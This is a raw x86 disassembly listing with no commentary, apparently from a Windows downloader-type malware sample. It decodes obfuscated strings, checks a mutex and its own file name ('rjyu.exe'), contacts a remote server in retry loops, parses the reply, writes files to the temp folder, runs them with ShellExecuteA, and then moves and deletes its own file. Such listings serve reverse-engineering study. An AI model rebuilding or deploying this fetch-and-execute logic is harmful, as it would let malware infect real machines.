mov cl, byte [0x407798]
mov dword [eax + 4], edx
push 0x64
lea edx, [esp + 0xea0]
push edx
push 0
mov byte [eax + 8], cl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, dword [sym.imp.USER32.dll_FindWindowA]
push 0x406270
push 0
call esi
lea eax, [esp + 0x348]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x348]
push ecx
lea edx, [esp + 0xea0]
push edx
call ebp
push 0
push 1
push 0x4071a8
call fcn.00401830
add esp, 4
push eax
push str.1.0.0.9
lea eax, [esp + 0x22c]
push eax
push 0x40779c
call fcn.00401830
add esp, 4
push eax
push connect
call fcn.004021c0
add esp, 0x1c
push 0
push 1
push 0x4071a8
call fcn.00401830
add esp, 4
push eax
push str.1.0.0.9
lea ecx, [esp + 0x22c]
push ecx
push 0x40779c
call fcn.00401830
add esp, 4
push eax
push connect
call fcn.004021c0
add esp, 0x1c
push 0
push 1
push 0x4074e0
call fcn.00401830
add esp, 4
push eax
lea edx, [esp + 0x28c]
push edx
lea eax, [esp + 0x22c]
push eax
push 0x40779c
call fcn.00401830
add esp, 4
push eax
push connect
call fcn.004021c0
add esp, 0x1c
push 0
push 1
push 0x4074e0
call fcn.00401830
add esp, 4
push eax
lea ecx, [esp + 0x28c]
push ecx
lea edx, [esp + 0x22c]
push edx
push 0x40779c
call fcn.00401830
add esp, 4
push eax
push connect
call fcn.004021c0
add esp, 0x1c
push 0
push 1
push 0x407190
call fcn.00401830
add esp, 4
push eax
push str.tcz1
lea eax, [esp + 0x22c]
push eax
push 0x40779c
call fcn.00401830
add esp, 4
push eax
push connect
call fcn.004021c0
add esp, 0x1c
push 0x406270
push 0
call esi
push 0
push 1
push 0x407190
call fcn.00401830
add esp, 4
push eax
push str.tcz1
lea ecx, [esp + 0x22c]
push ecx
push 0x40779c
call fcn.00401830
add esp, 4
push eax
push connect
call fcn.004021c0
add esp, 0x1c
push 0
push 1
push 0x407178
call fcn.00401830
add esp, 4
push eax
push 0x407938
lea edx, [esp + 0x22c]
push edx
push 0x40779c
call fcn.00401830
add esp, 4
push eax
push connect
call fcn.004021c0
add esp, 0x1c
push 0
push 1
push 0x407178
call fcn.00401830
add esp, 4
push eax
push 0x407938
lea eax, [esp + 0x22c]
push eax
push 0x40779c
call fcn.00401830
add esp, 4
push eax
push connect
call fcn.004021c0
add esp, 0x1c
push 0x406270
push 0
call esi
push 0
push 1
lea ecx, [esp + 0x288]
push ecx
lea edx, [esp + 0x354]
push edx
push 0x407160
call fcn.00401830
add esp, 4
push eax
push 0x4070b0
call fcn.00401830
add esp, 4
push eax
push connect
call fcn.004021c0
add esp, 0x1c
push 0
push 1
lea eax, [esp + 0x288]
push eax
lea ecx, [esp + 0x354]
push ecx
push 0x407160
call fcn.00401830
add esp, 4
push eax
push 0x4070b0
call fcn.00401830
add esp, 4
push eax
push connect
call fcn.004021c0
add esp, 0x1c
lea edx, [esp + 0x348]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x403b00
cmp dword [esp + 0x20], 1
jne 0x403b00
mov eax, dword [esp + 0x30]
push eax
push 0x409238
push str.tcz1
push 0x407938
lea ecx, [esp + 0x2f4]
push ecx
push 0x406f50
call fcn.00401830
add esp, 4
push eax
lea edx, [esp + 0xeb4]
push edx
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0x1c
push 0x406270
push 0
call esi
xor esi, esi
nop
push 0xf4240
push 0x7a120
push 1
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0xeb0]
push 0
push edx
call fcn.00401980
add esp, 0x1c
cmp eax, 1
je 0x403983
inc esi
cmp esi, 1
jl 0x403950
push 0x64
lea edx, [esp + 0xea0]
push edx
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.rjyu.exe
lea eax, [esp + 0xea0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
call dword [sym.imp.MSVCR90.dll__stricmp]
add esp, 8
test eax, eax
jne 0x404563
lea ecx, [esp + 0x21c]
push ecx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x4039e1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x404563
mov edi, dword [sym.imp.USER32.dll_FindWindowA]
push 0x406270
push ebx
mov dword [esp + 0x28], ebx
call edi
push 0x406270
push ebx
call edi
push 0x406270
push ebx
call edi
push 0x406f24
call fcn.00401830
add esp, 4
mov edx, 0x409130
mov cl, byte [eax]
mov byte [edx], cl
inc eax
inc edx
test cl, cl
jne 0x403a15
lea edx, [esp + 0x21c]
push edx
push 0x4079a8
call fcn.00401830
mov ebp, dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 4
push eax
lea eax, [esp + 0x2280]
push eax
call ebp
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x227c]
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x403ac7
lea eax, [esp + 0x1c]
push eax
push 0x409130
lea ecx, [esp + 0x30]
push ecx
push ebx
push 0x406f08
mov dword [esp + 0x30], 0x104
call fcn.00401830
mov edx, dword [esp + 0x28]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
add esp, 4
push eax
push edx
call esi
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0xb30]
push ecx
lea edx, [esp + 0x30]
push edx
push ebx
push 0x406ef0
mov dword [esp + 0x30], 0x64
call fcn.00401830
add esp, 4
push eax
mov eax, dword [esp + 0x28]
push eax
call esi
lea ecx, [esp + 0xb2c]
lea eax, [esp + 0xc94]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x403d0f
test dl, dl
je 0x403af9
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x403d0f
add eax, 2
add ecx, 2
test dl, dl
jne 0x403ad5
xor eax, eax
jmp 0x403d14
cmp dword [esp + 0x20], 0
jne 0x403983
mov eax, dword [esp + 0x30]
push eax
push 0x409238
push str.tcz1
push 0x407938
lea ecx, [esp + 0x2f4]
push ecx
push 0x406d60
call fcn.00401830
add esp, 4
push eax
lea edx, [esp + 0xeb4]
push edx
call dword [sym.imp.MSVCR90.dll_sprintf]
mov edi, dword [sym.imp.USER32.dll_FindWindowA]
add esp, 0x1c
push 0x406270
push 0
call edi
xor esi, esi
jmp 0x403b60
push 0xf4240
push 0x7a120
push 1
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0xeb0]
push 0
push edx
call fcn.00401980
add esp, 0x1c
cmp eax, 1
je 0x403b93
inc esi
cmp esi, 1
jl 0x403b60
push 0x406270
push 0
call edi
jmp 0x403983
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x64
lea eax, [esp + 0xea0]
push eax
push 0
call edi
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push str.rjyu.exe
lea ecx, [esp + 0xea0]
push ecx
call ebx
mov ebp, dword [sym.imp.MSVCR90.dll__stricmp]
push eax
call ebp
add esp, 8
test eax, eax
je 0x403c53
mov edx, dword [esp + 0x30]
push edx
push 0x409238
push str.tcz1
push 0x407938
lea eax, [esp + 0x2f4]
push eax
push 0x406d60
call fcn.00401830
add esp, 4
push eax
lea ecx, [esp + 0xeb4]
push ecx
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0x1c
xor esi, esi
jmp 0x403c20
push 0xf4240
push 0x7a120
push 1
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x3c]
push eax
lea ecx, [esp + 0xeb0]
push 0
push ecx
call fcn.00401980
add esp, 0x1c
cmp eax, 1
je 0x403c53
inc esi
cmp esi, 1
jl 0x403c20
push 0x64
lea edx, [esp + 0xea0]
push edx
push 0
call edi
push 0x406270
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push str.rjyu.exe
lea eax, [esp + 0xea0]
push eax
call ebx
push eax
call ebp
add esp, 8
test eax, eax
je 0x403983
push 0x104
lea ecx, [esp + 0xea0]
push ecx
push 0x407264
call fcn.00401830
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0x457
lea edx, [esp + 0xea0]
push edx
push 0x407244
call fcn.00401830
add esp, 4
push eax
lea eax, [esp + 0x354]
push eax
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0x10
push 0x64
lea ecx, [esp + 0xea0]
push ecx
push 0
call edi
lea edx, [esp + 0x348]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x348]
push eax
lea ecx, [esp + 0xea0]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
jmp 0x404563
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x403e0a
push 0x406270
push ebx
call edi
push 0x409238
push str.tcz1
push 0x407938
lea ecx, [esp + 0x2f0]
push ecx
push 0x406c28
call fcn.00401830
add esp, 4
push eax
lea edx, [esp + 0x7d0]
push edx
call ebp
add esp, 0x18
xor esi, esi
jmp 0x403d60
push 0xf4240
push 0x7a120
push 1
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x30]
push ecx
lea edx, [esp + 0x7d0]
push ebx
push edx
call fcn.00401980
add esp, 0x1c
cmp eax, 1
je 0x403d92
inc esi
cmp esi, 1
jl 0x403d60
push ebx
push 1
push 0x406ef0
call fcn.00401830
add esp, 4
push eax
lea eax, [esp + 0xca0]
push eax
lea ecx, [esp + 0x22c]
push ecx
push 0x40779c
call fcn.00401830
add esp, 4
push eax
push connect
call fcn.004021c0
add esp, 0x1c
push ebx
push 1
push 0x406ef0
call fcn.00401830
add esp, 4
push eax
lea edx, [esp + 0xca0]
push edx
lea eax, [esp + 0x22c]
push eax
push 0x40779c
call fcn.00401830
add esp, 4
push eax
push connect
call fcn.004021c0
add esp, 0x1c
cmp dword [esp + 0x34], 1
mov dword [esp + 0x24], ebx
jne 0x403e1c
push 0x406480
jmp 0x403e21
push 0x406c00
call fcn.00401830
mov ecx, dword [esp + 0x34]
add esp, 4
push eax
push str.1.0.0.9
push 0x409130
push ecx
push 0x409238
push str.tcz1
push 0x407938
lea edx, [esp + 0x300]
push edx
push 0x406ab0
call fcn.00401830
add esp, 4
push eax
lea eax, [esp + 0x7e0]
push eax
call ebp
add esp, 0x28
push 0x406270
push ebx
call edi
push 0x406480
call fcn.00401830
add esp, 4
lea ecx, [esp + 0xb90]
mov dl, byte [eax]
mov byte [ecx], dl
inc eax
inc ecx
test dl, dl
jne 0x403e87
xor esi, esi
push 0xf4240
push 0x7a120
push 1
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x7d0]
push ebx
push eax
call fcn.00401980
add esp, 0x1c
cmp eax, 1
je 0x403eca
inc esi
cmp esi, 3
jl 0x403e93
jmp 0x404563
cmp esi, 3
jge 0x404563
mov esi, dword [esp + 0x20]
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403ee0
sub eax, edx
je 0x404563
push 0x40754c
call fcn.00401830
push eax
push esi
call dword [sym.imp.MSVCR90.dll_strtok]
mov esi, eax
add esp, 0xc
mov dword [esp + 0x34], esi
mov ecx, esi
mov eax, 0x409130
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x403f31
test dl, dl
je 0x403f2d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x403f31
add eax, 2
add ecx, 2
test dl, dl
jne 0x403f11
xor eax, eax
jmp 0x403f36
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x403f57
push 0x406a8c
call fcn.00401830
push eax
push esi
call dword [sym.imp.MSVCR90.dll__stricmp]
add esp, 0xc
test eax, eax
jne 0x404563
push 0x409238
push str.tcz1
push 0x407938
lea ecx, [esp + 0x2f0]
push ecx
push 0x406950
call fcn.00401830
add esp, 4
push eax
lea edx, [esp + 0x7d0]
push edx
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0x18
xor esi, esi
nop
push 0xf4240
push 0x7a120
push 1
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0x7d0]
push 0
push edx
call fcn.00401980
add esp, 0x1c
cmp eax, 1
je 0x403fc3
inc esi
cmp esi, 1
jl 0x403f90
push 0x40754c
call fcn.00401830
push eax
push 0
call dword [sym.imp.MSVCR90.dll_strtok]
mov ebp, eax
add esp, 0xc
test ebp, ebp
je 0x4044ee
mov ebx, dword [sym.imp.MSVCR90.dll_rand]
lea esp, [esp]
push 0x104
lea eax, [esp + 0x4b4]
push eax
push ebp
call fcn.00401ef0
add esp, 0xc
call ebx
push eax
call ebx
push eax
call ebx
push eax
push 0x407528
call fcn.00401830
add esp, 4
push eax
lea ecx, [esp + 0xba0]
push ecx
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0x14
lea edx, [esp + 0x9c4]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp + 0xb90]
mov ecx, eax
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x404050
lea edi, [esp + 0x9c4]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x404063
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor eax, eax
jmp 0x404080
mov cl, byte [esp + eax + 0x9c4]
mov byte [esp + eax + 0x8c0], cl
inc eax
test cl, cl
jne 0x404080
push 0
lea eax, [esp + 0x8c4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x40656c
call fcn.00401830
add esp, 4
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4040b2
lea edi, [esp + 0x9c4]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4040c5
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x4b0]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathGetArgsA]
lea edx, [esp + 0x44c]
mov cl, byte [eax]
mov byte [edx], cl
inc eax
inc edx
test cl, cl
jne 0x4040f0
lea eax, [esp + 0x4b0]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404104
sub eax, edx
mov ecx, eax
lea eax, [esp + 0x44c]
lea esi, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x404120
sub eax, esi
sub ecx, eax
mov eax, ebp
mov byte [esp + ecx + 0x4b0], dl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404137
sub eax, edx
mov edx, eax
lea eax, [esp + 0x44c]
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404150
sub eax, esi
mov esi, dword [sym.imp.SHLWAPI.dll_PathRemoveBlanksA]
mov ecx, ebp
sub ecx, eax
mov byte [ecx + edx], 0
lea edx, [esp + 0x4b0]
push edx
call esi
push ebp
call esi
lea eax, [esp + 0x4b0]
mov ecx, eax
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x404180
lea edi, [esp + 0x9c4]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x404193
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0x406270
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.USER32.dll_FindWindowA]
xor esi, esi
jmp 0x4041c0
push 0xf4240
push 0x7a120
push 0
lea eax, [esp + 0x24]
push eax
push 0
lea ecx, [esp + 0x9d8]
push ecx
push ebp
call fcn.00401980
add esp, 0x1c
cmp eax, 1
je 0x4041f1
inc esi
cmp esi, 3
jl 0x4041c0
jmp 0x4041f6
cmp esi, 3
jl 0x40426c
push 0x409238
push str.tcz1
push 0x407938
lea edx, [esp + 0x2f0]
push edx
push 0x406810
call fcn.00401830
add esp, 4
push eax
lea eax, [esp + 0x7d0]
push eax
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0x18
xor esi, esi
mov edi, edi
push 0xf4240
push 0x7a120
push 1
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x7d0]
push 0
push eax
call fcn.00401980
add esp, 0x1c
cmp eax, 1
je 0x4043b3
inc esi
cmp esi, 1
jl 0x404230
jmp 0x4043b3
mov esi, dword [sym.imp.USER32.dll_FindWindowA]
push 0x406270
push 0
call esi
push 0x406270
push 0
call esi
lea ecx, [esp + 0x4c]
push ecx
push 0
lea edx, [esp + 0x9cc]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
test eax, eax
je 0x4043b3
cmp dword [esp + 0x6c], 0x2c00
jle 0x4043b3
xor eax, eax
mov cl, byte [esp + eax + 0x8c0]
mov byte [esp + eax + 0x7bc], cl
inc eax
test cl, cl
jne 0x4042b1
push 0x40656c
call fcn.00401830
add esp, 4
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4042d3
lea edi, [esp + 0x7bc]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4042e4
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x4b0]
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x404305
lea edi, [esp + 0x7bc]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x404318
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
lea eax, [esp + 0x8c4]
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x454]
push ecx
lea edx, [esp + 0x7c8]
push edx
push 0x40750c
call fcn.00401830
add esp, 4
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor esi, esi
lea esp, [esp]
lea eax, [esp + 0x8c0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
je 0x4043ab
lea ecx, [esp + 0x7bc]
push ecx
call ebp
lea edx, [esp + 0x8c0]
push edx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x4043ab
push 0x1f4
call edi
inc esi
cmp esi, 0x78
jl 0x404370
mov dword [esp + 0x24], 1
push 0x40754c
call fcn.00401830
push eax
push 0
call dword [sym.imp.MSVCR90.dll_strtok]
mov ebp, eax
add esp, 0xc
test ebp, ebp
jne 0x403ff0
cmp dword [esp + 0x24], eax
je 0x4044ee
push 0x409238
push str.tcz1
push 0x407938
lea eax, [esp + 0x2f0]
push eax
push 0x4066d8
call fcn.00401830
add esp, 4
push eax
lea ecx, [esp + 0x7d0]
push ecx
call dword [sym.imp.MSVCR90.dll_sprintf]
mov edi, dword [sym.imp.USER32.dll_FindWindowA]
add esp, 0x18
push 0x406270
push ebp
call edi
xor esi, esi
push 0xf4240
push 0x7a120
push 1
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x7d0]
push 0
push ecx
call fcn.00401980
add esp, 0x1c
cmp eax, 1
je 0x404456
inc esi
cmp esi, 1
jl 0x404423
push 0x406270
push 0
call edi
push 0x406a8c
call fcn.00401830
mov esi, dword [esp + 0x38]
push eax
push esi
call dword [sym.imp.MSVCR90.dll__stricmp]
add esp, 0xc
test eax, eax
je 0x404563
push 0
push 1
push 0x4066bc
call fcn.00401830
add esp, 4
push eax
push esi
lea edx, [esp + 0x22c]
push edx
push 0x40779c
call fcn.00401830
add esp, 4
push eax
push connect
call fcn.004021c0
add esp, 0x1c
push 0
push 1
push 0x4066bc
call fcn.00401830
add esp, 4
push eax
push esi
lea eax, [esp + 0x22c]
push eax
push 0x40779c
call fcn.00401830
add esp, 4
push eax
push connect
call fcn.004021c0
add esp, 0x1c
jmp 0x404563
push 0x409238
push str.tcz1
push 0x407938
lea ecx, [esp + 0x2f0]
push ecx
push 0x406580
call fcn.00401830
add esp, 4
push eax
lea edx, [esp + 0x7d0]
push edx
call dword [sym.imp.MSVCR90.dll_sprintf]
add esp, 0x18
xor esi, esi
jmp 0x404530
push 0xf4240
push 0x7a120
push 1
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x30]
push ecx
lea edx, [esp + 0x7d0]
push 0
push edx
call fcn.00401980
add esp, 0x1c
cmp eax, 1
je 0x404563
inc esi
cmp esi, 1
jl 0x404530
mov ecx, dword [esp + 0x237c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
mov eax, 1
call fcn.004045f8
add esp, 0x2370
ret 0x10